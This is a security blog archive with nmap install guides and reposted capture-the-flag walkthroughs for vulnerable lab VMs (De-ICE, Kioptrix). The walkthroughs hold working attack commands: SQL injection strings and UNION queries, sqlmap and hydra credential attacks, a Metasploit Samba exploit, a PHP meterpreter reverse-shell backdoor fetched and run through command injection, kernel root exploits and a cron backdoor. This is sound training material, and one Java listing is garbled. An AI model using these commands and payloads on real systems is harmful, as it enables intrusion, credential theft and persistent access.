Samiux's Blog

Open Source is a great idea and it has changed the world! Open Source forever ....

While you do not know attack, how can you know about defense? (未知攻,焉知防?)

Do BAD things .... for the RIGHT reasons -- OWASP ZAP

It is easier to port a shell than a shell script. -- Larry Wall

Most of you are familiar with the virtues of a programmer. There are three, of course: laziness, impatience, and hubris. -- Larry Wall

为天地立心，为生民立命，为往圣继绝学，为万世开太平。 -- 王炜

Showing posts with label NMap. Show all posts

Tuesday, December 13, 2016

Know Your Enemies and Know Yourself

Quotations

Sun Tzu's The Art of War (孙子兵法) says "If you know your enemies and know yourself, you will not be put at risk even in a hundred battles. If you only know yourself, but not your opponent, you may win or may lose. If you know neither yourself nor your enemy, you will always endanger yourself." (知彼知己，百战不殆；不知彼而知己，一胜一负；不知彼，不知己，每战必殆。) [source : Wikipedia]

Sun Tzu's The Art of War also says "All warfare is based on deception. Hence, when we are able to attack, we must seem unable; when using our forces, we must appear inactive; when we are near, we must make the enemy believe we are far away; when far away, we must make him believe we are near." (兵者，诡道也。故能而示之不能，用而示之不用，近而示之远，远而示之近。) [source : Wikipedia]

Reconnaissance

Most internet attack activities based on recon on the target. Recon can be conducted by active and passive methods. Active recon will cause a lot of noise to the target as it will collect information from the target directly while passive recon does not.

Once attackers gathered valuable information about the target, such as running services and versions on the target. They will launch exploits when there are vulnerable services running on the target. Once success, the target will be compromised and under the control of the attackers.

On the other hand, if there is no running vulnerable services on the target, attackers may launch social engineering attacks against the target, such as phishing mails, phishing sites, phishing phone calls, phishing downloads and etc. Social engineering may lead to compromise of the target as a result.

The captioned mention attacks can be based on randomly selected target or targeted victim. Furthermore, some attacks are directly by botnets which randomly selecting the targets and aimed to the vulnerable running services. Botnet attacks also have active recon stage as mentioned before.

Possible Defense

Besides some of social engineering attacks, we all know that all almost all attacks are following by recon. If attackers cannot get any valuable information from us, we can delay or even prevent the attack.

We all know that nmap can obtain information of the running services on the opening ports. If we can block nmap scanning from the beginning, attackers are required to guess which ports are opened and which services and versions are running on that ports. They cannot go further when they have no valuable information about us. If so, we can delay or even prevent the attacks. However, social engineering attacks may be launched soon by the attackers.

Commercial Solution

Some anti-virus for Windows system and some Unified Threats Management System (UTM) as well as some Intrusion Prevention System (IPS) can block port scanning. However, some of them failed to detect and block the nmap scan when it is scanning with special command flags. Meanwhile, anti-virus software and UTM as well as IPS may require to subscribe the signatures annually. In addition, commercial UTM and IPS are very expensive. It may cost a lot when long run.

Open Source Solution

Suricata and Snort are very famous Intrusion Detection and Prevention engines (IDPS). They are running based on blacklisting. Those blacklists are rules to alert or block the traffic when the traffic meets the criteria. There are open rules and paid rules available in the market. Some IDPS engines users can write their own rules to meet their requirements. However, some of the rules are written wrongly that causing false positive alert or even cannot detect the activities.

Not everyone is IDPS expert. Setting up a working Suricata or Snort appliance is painful. Users are required to troubleshoot all the problems that they are encountered. Sometimes are hardware limitations. Sometimes are false positive alerts/drops. Sometimes are IDPS engines limitations.

Plug, Play and Forget!

Almond Croissants is an open source IDPS based on Suricata engine. It is released under GPLv3 by Samiux since 2012. It is well tested on Windows, macOS, Linux, Apple iOS and Android. Engine and rules are updated automatically when they are available. Users are not required to be very familiar with IDPS. It not only can detect and block nmap scanning without pain but also have many outstanding features that most IDPS omitted. It is tasty and really "Plug, Play and Forget!"

That's all! See you.

Tuesday, August 18, 2015

HOWTO : NMap on Ubuntu 14.04 LTS

Nmap (“Network Mapper”) is an open source tool for network exploration and security auditing. It was designed to rapidly scan large networks, although it works fine against single hosts. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. While Nmap is commonly used for security audits, many systems and network administrators find it useful for routine tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime.

Install

sudo apt-get install git build-essential



cd ~

mkdir arsenal

git clone https://github.com/nmap/nmap.git

cd nmap

./configure

make

sudo make install

sudo nmap -sS -sV 192.168.0.100

* or you can install by sudo apt-get install nmap

Update/Upgrade

sudo apt-get update

sudo apt-get dist-upgrade



cd ~/arsenal/nmap

git pull origin master

make clean

make

sudo make install

Reference

Reference Guide

That's all! See you.

Thursday, May 16, 2013

HOWTO : Nmap on Ubuntu Desktop 12.04 LTS

Nmap ("Network Mapper") is a free and open source utility for network discovery and security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime.

Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. It was designed to rapidly scan large networks, but works fine against single hosts.

Nmap runs on all major computer operating systems, and official binary packages are available for Linux, Windows, and Mac OS X. In addition to the classic command-line Nmap executable, the Nmap suite includes an advanced GUI and results viewer (Zenmap), a flexible data transfer, redirection, and debugging tool (Ncat), a utility for comparing scan results (Ndiff), and a packet generation and response analysis tool (Nping).

Step 1 :

sudo apt-get install nmap zenmap

Step 2 :

To run it. You can run it at any directory.


sudo -sH

nmap -sC -PN -T4 samiux.com

or

Graphical interface -

zenmap

That's all! See you.

Sunday, September 11, 2011

HOWTO : De-ICE.net v1.2a (1.20a) {Level 1-Disk 3-Version A}

ifconfig eth0

ifconfig eth0 192.168.1.59

ifconfig eth0

nmap 192.168.1.* -n -sn -sP

us -H -msf -Iv 192.168.1.120 -p 1-65535 && us -H -mU -Iv 192.168.1.120 -p 1-65535

nmap -p 1-65535 -T4 -A -v 192.168.13.120

firefox 192.168.1.120    # Add new product -> view product

cd /pentest/database/sqlmap

./sqlmap.py -u "http://192.168.1.120/products.php?id=1" -f -b --current-user --is-dba --is-dba --privileges --dbs --dump

./sqlmap.py -u "http://192.168.1.120/products.php?id=1" --users --passwords

cd output/192.168.1.120/

ll

grep -i administrator log

grep -i localhost log | grep -v : | sort | uniq

grep -i localhost log | grep -v : | sort | uniq | sed "s/\[\*\] '//" | sed  "s/'@'localhost'//" > /tmp/users

grep "clear-text" log | sort | uniq

grep "clear-text" log | sort | uniq | sed "s/    clear-text password: //" > /tmp/passwords

wc -l /tmp/users

hydra -L /tmp/users -P /tmp/passwords -e ns 192.168.1.120 ssh 2>/dev/null | tee /tmp/output

#medusa -h 192.168.1.120 -U /tmp/users -P /tmp/passwords -O /tmp/output -e ns -M ssh

ssh ccoffee@192.168.1.120

ls

cd scripts

ls -lah

sudo -l

cat getlogs.sh

mv getlogs.sh getlogs.bkup

echo "/bin/sh" > getlogs.sh

cat getlogs.sh

chmod +x getlogs.sh

ls -l

./getlogs.sh

id

exit

sudo getlogs.sh

sudo /home/ccoffee/scripts/getlogs.sh

id

id && /sbin/ifconfig && uname -a && cat /etc/shadow && ls -lah /root/

ls -lAhR /home

#cat /home/aallen/gravy.txt

cat /home/aspears/hbkae

cat /home/bbanter/notes

cat /home/cchisholm/reminders.text

cat /home/ccoffee/DONOTFORGET

#cat /home/hlovell/creepy.doc

cat /home/jalvarez/draft

cat /home/jdavenport/company_address.txt

#cat /home/jdavenport/svrc.txt

cat /home/jduff/todo.txt

#cat /home/krenfro/list

cat /home/ktso/personnel.doc

#cat /home/kwebber/list

#cat /home/lmartinez/favorite.txt

#cat /home/mnader/layout

cat /home/rpatel/schedule

Notes

- De-ICE.net v1.2a has a static IP address of 192.168.1.120. Make sure you are on the same subnet as it!
- When booting De-ICE it will randomly assign the passwords to the usernames - so it's different each time!
- Each time you start De-ICE.net v1.2a it will generate fresh SSH keys - so it's different each time!
- I made a couple of mistakes in the video (For example: /devnull) - it's worth checking the commands subsection!

That's all! See you.

HOWTO : De-ICE.net v1.2b (1.20b) {Level 1 - Disk 3 - Version B}

ifconfig eth0

ifconfig eth0 192.168.1.192

ifconfig eth0

nmap 192.168.1.* -n -sn -sP

us -H -msf -Iv 192.168.1.20 -p 1-65535 && us -H -mU -Iv 192.168.1.20 -p 1-65535

nmap -p 1-65535 -T4 -A -v 192.168.1.20

firefox 192.168.1.20    # customerserviceadmin@nosecbank.com

nc -v 192.168.1.20 25

HELO attacker

VRFY customerserviceadmin

mail from: attacker@slax.example.net

rcpt to: customerserviceadmin

rcpt to: csadmin

quit

wc -l /pentest/passwords/wordlists/darkc0de.lst

find / -name password.lst

wc -l /opt/framework3/msf3/data/john/wordlists/password.lst

hydra -l csadmin -P /opt/framework3/msf3/data/john/wordlists/password.lst -e ns -f 192.168.1.20 ssh 2>/dev/null | tee /tmp/output

ssh csadmin@192.168.1.20   # rocker

id

cat /etc/passwd   # sysadmin, dbadmin, sdadmin, csadmin

pwd

ls -lah

cd mailserv_download/

ls -lah

cat * | less    # @nosecbank.com, sdadmin (Paul, Donovin, 21 Dec 1998), csadmin (Mark, Andy)

exit

cd /pentest/passwords/cupp/

python cupp.py -i   # Paul, Donovin, 22121998, nosecbank

hydra -l sdadmin -P paul.txt -e ns -f 192.168.1.20 ssh 2>/dev/null | tee -a /tmp/output

ssh sdadmin@192.168.1.20   # donovin1998

id

pwd

ls -lah

cd mailserv_download/

ls -lah

cat * | less    # dbadmin (Fred, databaser)

exit

python cupp.py -i   # Fred, databaser, nosecbank

hydra -l dbadmin -P fred.txt -e ns -f 192.168.1.20 ssh 2>/dev/null | tee -a /tmp/output

ssh dbadmin@192.168.1.20   # databaser60

id

pwd

ls -lah

cd mailserv_download/

ls -lah

cat * | less   # sysadmin, New Custom Encryption for Passwords

umask 002

strings ~/mailserv_download/2010122216451.f81Ltw4R010211.part1 | cut -f2- |  sed 's/[ \t]*//' |  sed -n '/^[0-9]*\t/p' > /tmp/output

su csadmin   # rocker

strings ~/mailserv_download/2010122216451.f81Ltw4R010211.part2 | cut -f2- |  sed 's/[ \t]*//' |  sed -n '/^[0-9]*\t/p' >> /tmp/output

su sdadmin   # donovin1998

strings ~/mailserv_download/2010122216451.f81Ltw4R010211.part3 | cut -f2- |  sed 's/[ \t]*//' |  sed -n '/^[0-9]*\t/p' >> /tmp/output

cat /tmp/output | sort -g

cat /tmp/output | sort -g | cut -f2-

exit

exit

exit

geany deice.java

less deice.java

javac deice.java

java deice    # sysadmin - 531/{{tor/rv/A

java deice    # root - 31/Fwxw+2

ssh sysadmin@192.168.1.20   # 7531/{{tor/rv/A

id

su -    # 31/Fwxw+2

id && /sbin/ifconfig && uname -a && cat /etc/shadow && ls -lAh ~/

pwd

exit

pwd

ls

cat Note_to_self

ls -lAhR /home

cd /home/ftp/incoming/

ls -l

openssl -h

openssl enc -in useracc_update.csv.enc -out useracc_update.csv -d -aes-256-cbc -k "31/Fwxw+2"

su -c 'openssl enc -in useracc_update.csv.enc -out useracc_update.csv -d -aes-256-cbc -k "31/Fwxw+2"'   # 31/Fwxw+2

ls -l

cat useracc_update.csv

deice.java

import java.io.*;

//import java.util.Arrays;



public class deice

{

 public static void main(String[] args)

 {

    try

    {

       System.out.println("[>] De-ICE.net v1.2b (1.20b) Password Generator");



       BufferedReader in=new BufferedReader(new InputStreamReader(System.in));

       System.out.print("[?] Username: ");

       String input=in.readLine();



       int[] output=processLoop(input);

       //System.out.println("[+] Output: "+Arrays.toString(output));



       String outputASCII="";

       for(int i=0;i] Password: "+outputASCII);



    }

    catch(IOException e)

    {

       System.out.println("[-] IO Error!");

    }

 }



 /*input is username of account*/

 public static int[] processLoop(String input){

    int strL=input.length();

    int lChar=(int)input.charAt(strL-1);

    int fChar=(int)input.charAt(0);

    int[] encArr=new int[strL+2];

    encArr[0]=(int)lChar;



    for(int i=1;i<strL+1;i++) encArr[i]=(int)input.charAt(i-1);



    encArr[encArr.length-1]=(int)fChar;

    encArr=backLoop(encArr);

    encArr=loopBack(encArr);

    encArr=loopProcess(encArr);

    int j=encArr.length-1;



    for(int i=0;i<encArr.length;i++){

       if(i==j) break;

       int t=encArr[i];

       encArr[i]=encArr[j];

       encArr[j]=t;

       j--;

    }

    return encArr;

 }



 /*Note the pseudocode will be implemented with the

 root account and my account, we still need to implement it with the csadmin, sdadmin,

 and dbadmin accounts though*/

 public static int[] backLoop(int[] input){

    int ref=input.length;

    int a=input[1];

    int b=input[ref-1];

    int ch=(a+b)/2;



    for(int i=0;i<ref;i++){

       if(i%2==0) input[i]=(input[i]%ch)+(ref+i);

       else input[i]=(input[i]+ref+i);

    }

    return input;

 }



 public static int[] loopBack(int[] input){

    int ref=input.length/2;

    int[] encNew=new int[input.length+ref];

    int ch=0;



    for(int i=(ref/2);i<input.length;i++){

       encNew[i]=input[ch];

       ch++;

    }



    for(int i=0;i<encNew.length;i++){

       if(encNew[i]<=33) encNew[i]=33+(++ref*2);
       else if(encNew[i]>=126) encNew[i]=126-(--ref*2);

       else{

          if(i%2==0) encNew[i]-=(i%3);

          else encNew[i]+=(i%2);

       }

    }

    return encNew;

 }



 public static int[] loopProcess(int[] input){

    for(int i=0;i<input.length;i++){

       if(input[i]==40||input[i]==41) input[i]+=input.length;

       else if(input[i]==45) input[i]+=20+i;

    }

    return input;

 }

}

Notes

- De-ICE.net v1.2b has a static IP address of 192.168.1.20. Make sure you're on the same subnet as it!
- The wordlist used (part of the metasploit framework) to brute force csadmin, might have been updated since - You may have to use another wordlist.
- I made a couple of mistakes in the video (For example: nosec instead of nosecbank) - it's worth checking the commands subsection!

That's all! See you.

HOWTO : Kioptrix - Level 1

start-network

dhclient eth0

clear



nmap 192.168.0.* -n -sn -sP

nmap 192.168.0.111 -T4 -O -sV -sS   #-sC -A -p- -v



#nmblookup -A 192.168.0.111       # Hostname

smbclient -L \\192.168.0.111 -N   # What services are available on a server

clear



msfconsole

search samba

use linux/samba/trans2open

#info

show options

set RHOST 192.168.0.111

show options

exploit

#msfcli linux/samba/trans2open RHOST=192.168.0.111 PAYLOAD=generic/shell_bind_tcp E    #PAYLOAD=linux/x86/shell_bind_tcp



id

uname -a

cat /etc/shadow

cat /etc/issue

That's all! See you.

HOWTO : Kioptrix - Level 1.1

*** Do NOT attack any computer or network without authorization or you may put into jail. ***

Credit to : g0tmi1k

This is g0tmi1k's work but not mine. I re-post here for educational purpose only. It is because I enjoy his videos very much and I am afraid of losing them.

The original post at here

Links

Watch video on-line
Download video

Brief Overview

Time for level 2! Like before, kioptrix is another “Vulnerable-By-Design OS” (De-ICE, Metasploitable and pWnOS), with the aim to go from "boot" to "root" by any means possible.

This video demonstrates how code being injected into a web page results in the machine becoming compromised. The attacker afterwards then starts exploring the system for further pieces of information.

Method

Scan network for hosts (Nmap)
Bypass login screen (MySQL Injection)
Local command execution (PHP Injection)
Upload a backdoor (PHP Meterpreter)
Gain root access (ip_append_data() local ring0 root exploit)
Game Over
Enable access to MySQL database (MySQL Injection)
Gather information (history and user credentials)

What do I need?

Kioptrix - Level 2 VM. Download here (Mirror: Part 1 MD5:CF25057866E4BEA4F05651ACC222E3AE, Part 2 MD5:1ADCE0A6AFE4EE2FADD82F9EE3878AED, Part 3 MD5:A8012648FAB73746CE4E3250E0D66291)
VMware player OR workstation. Download here
Nmap – (Can be found on BackTrack 4-R2). Download here
Metasploit – (Can be found on BackTrack 4-R2)
Internet Browser – (Firefox can be found on BackTrack 4-R2)
A Text Editor – (Kate can be found on BackTrack 4-R2)
ip_append_data() ring0 Root Exploit – (Can be found on exploit-db.com)
MySQL – (Can be found on BackTrack 4-R2)

Walk through *Due to the forums security, I'm unable to post the complete walk through*

After starting the network services and obtaining an IP address (192.168.0.33), the attacker does a quick nmap scan to show what host are currently "alive" on the network. After a target IP is known the attacker proceeds to do a more detailed scan on the target (192.168.0.202). By doing this, nmap shows what possible services (ports) the target has running and the version of the service and then attempts to identify the operating system (OS). The result of this shows:

* OS: Linux v2.6.x (2.6.9-30)
* Port 80 - Web Server: Apache httpd 2.0.52 (CentOS)

The attacker navigates to the web server and is presented with a login page. The attacker chooses to enter a 'standard administrator's user name'("admin") as the user name and instead of entering a valid password uses some “MySQL injection code”. This "password" will cause the original MySQL statement returning true, therefore it will login as the chosen user without the correct password being present. The vulnerable code is as follows:

* Original command
$query = "SELECT * FROM users WHERE username = '$username' AND password='$password'";

* Expected input (user: admin, Password: 5afac8d85f):
$query = "SELECT * FROM users WHERE username = 'admin' AND password='5afac8d85f'";

* "Injected" input (user: admin, Password: ' OR 1=1 -- -):
$query = "SELECT * FROM users WHERE username = 'admin' AND password='' OR 1=1 -- -'";

This works because the attacker has asked to login as "admin" and because the MySQL command is looking either for: "password" OR "1=1" to match. Because 1 will ALWAYS be 1, the statement will return true, therefore allowing the attacker to login as admin. The code at the end " -- -", comments out the rest of the query which means that the rest of the query is ignored so the attacker does not have to worry about fixing the syntax.

The attacker is then looking at the admin panel, which allows the admin to "ping" other computers attached to the network from the server location. The attacker notices that the web pages has a "php" file extension and guesses that the server supports PHP and wonders if meterpreter agent would be able to execute. The attacker creates a "php meterpreter backdoor file" and sets up a metasploit to interact with the backdoor. The attacker starts a web server which is used to host the backdoor.

The attacker now needs to transfer the backdoor onto the server allowing them to be able to gain a remote access on the system. As mentioned before the admin panel allows admins to "ping". The attacker then tries to inject in the php file to run other commands instead. The vulnerable code is as follows:

* Original command
echo shll_exec( 'ping -c 3 ' . $target );

* Expected input (ip: 192.168.0.1):
echo shll_exec( 'ping -c 3 ' . 192.168.0.1 );

* "Injected" input (ip: ; ** /*** && **** -O bd.php 192.168.0.33/backdoor.php.txt && php -f bd.php):
echo shll_exec( 'ping -c 3 ' . ; ** /*** && **** -O bd.php 192.168.0.33/backdoor.php.txt && php -f bd.php );

The coded uses “shll_exec” allows to: "Execute command via shell and return the complete output as a string". The ping command is hard-coded in at the start, however because the ping command requires an IP address to be successfully executed it fails to receive therefore it also fails to execute. Instead the attacker has used ";" which allows for commands to be executed sequentially regardless of outcome (e.g. multiple commands on the same line), which means the PHP code continues to run the attackers command even though “ping” failed. The attacker has "asked" to:

* Change directory to "/***" as this is writeable for the exploited user "apache".

* Download the content of a web page (which is the backdoor), rename it to a shorter filename and change the file extension.

* Then execute the code.

The attacker checks that a session has been created in metasploit and interacts with it. The result being that the attacker now has a remote shell on the target system.

However the exploited service (PHP) is using a user that has limited access to the system and the attacker would like more (plus the objective of kioptrix is to gain access to the superuser, "root"). The attacker makes a note of the targets system's kernel version and searches for an exploit that could lead to "privilege escalation" which would allow for “deeper access” into the system. After searching for known exploits the attacker identifies an exploit that is compatible with the target's system. The attacker downloads a copy of the exploit and transfers it using the same method as the backdoor previously. After successfully compiling the exploit, the attacker runs the exploit on the target's success which results in the attacker being promoted to the "root" account. The attacker then creates a copy of the backdoor file in the "document root". The attacker then kills the remote shell. (Note: The end goal of kioptrix has been reached and everything after copying the backdoor is optional).

As the login page requires login details, which need to be stored somewhere the attacker decides to locate these pieces of information. The attacker starts by viewing the source code of the login page for clues as these details could be; hard-coded into the source, use another file to handle this function or use a database.

Once the attacker identities that the login page uses a MySQL database which contains the login details, the attacker wants to discover what else is stored in the database. As the login page relies on the database, the login page will contain a username and password in which to access it. The attacker uses a copy the login details plus as the attacker can executed commands, they use this to their advantage by command line interaction with MySQL database.

The attacker starts off viewing all the databases which are stored in MySQL, and spots the table "MySQL" which might contain some 'interesting' details! The attacker moves on to seeing what tables are in the database, which brings up a table called "users". After selecting everything in the table the attacker spots that the "root" user has the same hash (hence same password) as the user "john" (which they are currently using).

The attacker can keep using the current system to interact with the database; however allowing direct command line access from their machine would be 'easier'. So the attacker goes about reconfiguring MySQL to allow this. Currently the only allowed access is from the local machine itself(localhost/127.0.0.1), therefore no external communication is allowed (as seen by the "nmap" & "MySQL"). However as the attacker can execute commands locally it "grants all privileges" to the user "root" on the attackers IP (which still protects access from everyone else!).

After connecting via command line, the attacker sets about finding the real password for the admin panel instead of injecting to gain access. The attacker knows which database is used (via the source code of the login page), and browses the contents of the tables. The attacker finds 2 valid logins and tries them out. The first time, shows what happens if the login details are incorrect, the next login is from a "non admin" but a valid account, and the last login is the valid admin account. When the attacker was injecting it the admin account was not specified, the database would login as the first user, in which in most cases it is the admin account as it is usually the first user that is created.

The attacker can use MySQL to view files however just like before when using PHP injection because the exploited user is a limited account, it has limited access to the system however it is a different user from before, as it now is "mysql" rather than “apache”.

The attacker tests the backdoor in order to get a remote shell again. However it is easier this time as they do not have to go though the hassle of injecting again. The attacker can just execute the php backdoor, this time done by visiting it directly on the web server, which results in the php code being executed.

After gaining access and exploiting the system gain root access, the attacker scans the system for ".mysql_history", which is a file that contains previous entered commands and views the contents when using the "root" account.

Commands *Due to the forums security, I'm unable to post the complete command list.*

start-network 

dhclient eth0 

clear 



nmap 192.168.0.0/24 -n -sn -sP  

nmap 192.168.0.202 -p 1-65500 -O -sS -sV -v 



firefox http://192.168.0.202 

-> User: admin 

-> Password: ' OR 1=1 -- - 



clear 

msfpayload | grep PHP 

msfpayload php/meterpreter/reverse_tcp LHOST=192.168.0.33 LPORT=8080 R > /var/www/backdoor.php.txt 

start-apache 

msfconsole 

use multi/handler 

search php 

set PAYLOAD php/meterpreter/reverse_tcp 

show options 

set LHOST 0.0.0.0 

set LPORT 8080 

show options 

exploit -j -z  

* kate -> /var/www/backdoor.php.txt. Remove "#". Save. 

; ** /*** && **** -O bd.php 192.168.0.33/backdoor.php.txt && php -f bd.php 

sessions -l -v  

sessions -i 1 

sysinfo 

shell 

uname -a; cat /etc/*-release; id; w 



Firefox: Search (exploit.db): Linux Kernel 2.6 -> Download #http://www.exploit-db.com/exploits/9542/ 

cp 9542.c /var/www/escpriv.c 

* cd /tmp

* wget 192.168.0.33/escpriv.c 

* gcc escpriv.c -o rootMe 

* id 

* ./rootMe 

* id 

* whoami && cat /etc/issue 



* cp bd.php /var/www/html/backdoor.php    # root only on folder! 

^C 

y   #n = interact 0 && background 



firefox http://192.168.0.202 

; cat index.php 

-> Right click -> View Source. 

--> User: john 

--> Passowrd: hiroshima 

--> Database: webapp 

; mysql -u john -phiroshima -e "SHOW databases;" 

; mysql -u john -phiroshima -e "USE mysql; SHOW tables;" 

; mysql -u john -phiroshima -e "USE mysql; SELECT * FROM user;" 

mysql -h 192.168.0.202 -u root 

nmap 192.168.0.202 -sV -p 3306 

; mysql -u root -phiroshima -e "USE mysql; GRANT ALL PRIVILEGES ON *.*  TO 'root'@'192.168.0.33';"   #-D mysql #IDENTIFIED BY 'g0tmi1k';" 

nmap 192.168.0.202 -sV -p 3306 

mysql -h 192.168.0.202 -u root 

SHOW databases; 

USE webapp; SHOW tables; 

SELECT * FROM users; 

#* firefox http://192.168.0.202/ 

#-->Login *fail*, john, admin 

SELECT load_file('/etc/passwd'); 

exit 



firefox http://192.168.0.202/backdoor.php 

sessions -i 2 

shell 

*UNABLE TO POST THIS LINE OF CODE. SEE BLOG POST*

* ** /***; ./rootMe 

* cat /root/.mysql_history 

* cat /etc/shadow 



* whoami && cat /etc/issue 





#---------------------------------------------------------------------  

MySQL->history: root:Ha56!blaKAbl [???] 

MySQL->users:   root:hiroshima    [hash: 5a6914ba69e02807] 

MySQL->users:   john:hiroshima    [hash: 5a6914ba69e02807] 

MySQL->WebApp:  admin:5afac8d85f  [Type: Admin] 

MySQL->WebApp;  john:66lajGGbla   [Type: Non-admin] 

Shadow:         root:$1$FTpMLT88$VdzDQTTcksukSKMLRSVlc.:14529:0:99999:7::: 

Shadow:         john:$1$wk7kHI5I$2kNTw6ncQQCecJ.5b8xTL1:14525:0:99999:7::: 

Shadow:         harold:$1$7d.sVxgm$3MYWsHDv0F/LP.mjL9lp/1:14529:0:99999:7::: 

#---------------------------------------------------------------------

Notes

- When meterpreter is being hosted on the attacker's system, the file extension is “.txt”, therefore it does not get executed like a php file would when called from wget on the targets system.
- The “document root” folder is only writeable by “root”.
* The attacker did not have to kill the remote shell and could have been executed in it, however this method demonstrates if the backdoor failed to work or if the attacker did not wish to use one for whatever
reason)
- When connecting to MySQL remotely, a password is not required because when executing the "GRANT ALL PRIVILEGES" statement it did not include "IDENTIFIED BY 'g0tmi1k'" after the IP address. This would set the password to "g0tmi1k".

That's all! See you!

HOWTO : Kioptrix - Level 1.2

*** Do NOT attack any computer or network without authorization or you may put into jail. ***

Credit to : g0tmi1k

This is g0tmi1k's work but not mine. I re-post here for educational purpose only. It is because I enjoy his videos very much and I am afraid of losing them.

The original post at here

Links

Watch video on-line
Download video

Brief Overview

It's time for round 3 with Kioptrix's "Vulnerable-By-Design" series. Normal goal of "boot-to-root", by any means possible.

The target was fully compromised with a mixture of; SQL injection, re-used credentials and poorly configured setting. After gaining root access, to extent the video two methods of backdooring the system were installed as well as an alternative idea to escape privileges.

Method

Scanned network for the host (nmap)
Added IP address to the host file
Port scanned the host (unicornscan)
Banner grabbed the services running on the open ports (nmap)
Discovered usernames via a 'Local File Inclusion' vulnerability (Firefox)
Enumerated database (manual MySQL injection)
Reused credentials granting a remote shell
Poorly configured setting to escape privileges (Unprotected limited root access)
Uploaded and used a web backdoor (Meterpreter)
Automated MySQL Injection (SQLMap)
Alternative method to gain root as well as escaping privileges (Cron Job)

What do I need?

Kioptrix VM Level 1.2 [KVM3.rar] (MD5: D324FFADD8E3EFC1F96447EEC51901F2)
A virtual machine (Example: Virtual Box or VMware Player)
Nmap – (Can be found on BackTrack 5).
Unicornscan – (Can be found in BackTrack 5's repository).
Exploit-DB – (Can be found on BackTrack 5).
John The Ripper – (Can be found on BackTrack 5).
SQLMap – (Can be found on BackTrack 5).
Metasploit – (Can be found on BackTrack 5).

Walkthrough

The attacker starts off with locating the target system on the network, which is done by using a quick "ping" scan via nmap.

Once the target has been discovered the attacker, adds the IP address to their host file. (The reasoning for this is due to Kioptrix using DHCP to assign its IP address and later on, the HTML code needs a "static reference" to use as a source).

Afterwards the attacker executes a TCP & UDP port scan by using unicornscan. The results show only two ports are open, TCP 22 and TCP 80. The attacker repeats the port scan however switches to nmap and enables the option to "banner grab" the services which are running on open ports, to enumerate running services. Nmap confirms that the same ports are open as well as the default services are also using them, SSH (TCP 22), and Web (TCP 80).

The attacker continues by interacting with the web server. Upon visiting the web server, the attacker is presented with a blog. When exploring the web site, the attacker notices a common URI, which often has a "Local/Remote File Include" vulnerability. The attacker uses this to their advantage by including a known file which commonly contains details of each user on the system. This shows that system has two possible users "loneferret" and "dreg".

One of the blog posts, referred to a product which is running on their web server, a new gallery. At the end of the post, contain the URL to the gallery. Another post, helped confirmed one of the usernames, "loneferret", as it was mentioned again.

After looking at the source code for the gallery, the attacker notices that the admin link in the template has been commented out, rather than being removed from the code completely. After visiting the page, the gallery service has been identified as "gallarific".

When checking to see if "Gallarific" has any known public exploits, they find it is subject to a SQL injection attack. The exploit gives the weak URL and the attacker manually starts enumerating the database. They start off by seeing which tables are accessible, then the names of the columns inside the "dev_account" table. This shows there are three fields, "id", "username" and "password". The attacker views the values and upon doing so, sees the same two usernames as before along with their respected MD5 hashes.

The attacker inserts the hashes into John the ripper, which quickly brute forces them (as they are not salted!), showing that loneferret's password is "starwars" and dreg's is "Mast3r".

A common issue is password re-use, which the attacker is aware of, therefore they attempt to see if any of the users did so with their SQL and SSH credentials. Loneferret did.

After viewing loneferrts personal folder, there is a company readme file which explains their policy, that they must use a certain program, "ht" to create, view and edit files. However, in the example command, it says the employee needs to use "sudo" in which to do so. Sudo allows programs to be used with the security privileges of another user, which in this case is the super root account - root. This allows the attacker to create, view and edit any file.

With this, the attacker uses ht to "upgrade" their currently limited usage of the sudo to give them root access. After granting the upgrade of privileges, the attacker logs in as root. The attacker now has access to the complete system...

Game over

Because the attacker doesn't wish to keep exploiting the same box again, they want to place a backdoor, which allows for quicker access back into the system. The attacker searches for the admin credentials to the gallery product, as there is a high chance that there is an upload feature which they could try and take advantage of.

By using the same SQL injection as before, the attacker manually starts searching another table, "gallarific_users". The attacker soon finds the admin username & password, in plain text.

(Editor's note: This stage isn't "needed", it was only done to show how automated tools simplify the whole process!)

The attacker then starts to enumerate the whole database, by using SQLMap. The tool quickly finds extra useful information regarding the database, as well as automatically attempting to crack any known password hash formats. This confirms everything which was found manually.

After logging in as the admin for the gallery, the attacker is able to confirm their suspicions from earlier, the product supported uploading. The attacker generates a PHP reserve shell with an image format and then uploads their evil image. Due to the product automatically checking file extensions, renaming uploaded images and the server configuration the attacker isn't able to execute the "image". However, due to the "local file include", which was found at the beginning, the attacker is able to execute the code inside the image, which creates a shell. The type of shell which the attacker is using to interact with the system isn't able switch users. But by using python which has already been installed locally on the system, the attacker is able to code a quick script to get around this limitation by using python to spawn a bash terminal in the background and relay commands into it.

Instead of modifying the sudoers file originally to gain root access to the system, the attacker writes a cron job to: start on the next minute, then as the root account, to download a file and execute it, as well as deleting the job (optional!). The attacker then creates the back door executable file as well as starting a web server to host the file for the target to download. The attacker then waits for the targets clock to reach the next minute and execute the command, spawning a remote root shell.

Game over...again

Commands

nmap 192.168.0.* -n -sn -sP

echo 192.168.0.10 kioptrix3.com >> /etc/hosts   # It's in the readme

cat /etc/hosts

us -H -msf -Iv kioptrix3.com -p 1-65535 && us -H -mU -Iv kioptrix3.com -p 1-65535

nmap -p 1-65535 -T4 -A -v kioptrix3.com

firefox kioptrix3.com   # Link-> Blog

http://kioptrix3.com/../etc/passwd.html

# Gallery --> Source code (gadmin): http://kioptrix3.com/gallery/gadmin/

cd /pentest/exploits/exploitdb

grep -i gallarific files.csv

cat platforms/php/webapps/15891.txt

firefox kioptrix3.com/gallery/gallery.php

http://kioptrix3.com/gallery/gallery.php?id=null and 1=2 union select 1,2,3,4,5,6

http://kioptrix3.com/gallery/gallery.php?id=null and 1=2 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()),4,5,6

http://kioptrix3.com/gallery/gallery.php?id=null and 1=2 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='dev_accounts'),4,5,6

http://kioptrix3.com/gallery/gallery.php?id=null and 1=2 union select 1,2,(select group_concat(id, 0x3A, username, 0x3A, password) from dev_accounts),4,5,6

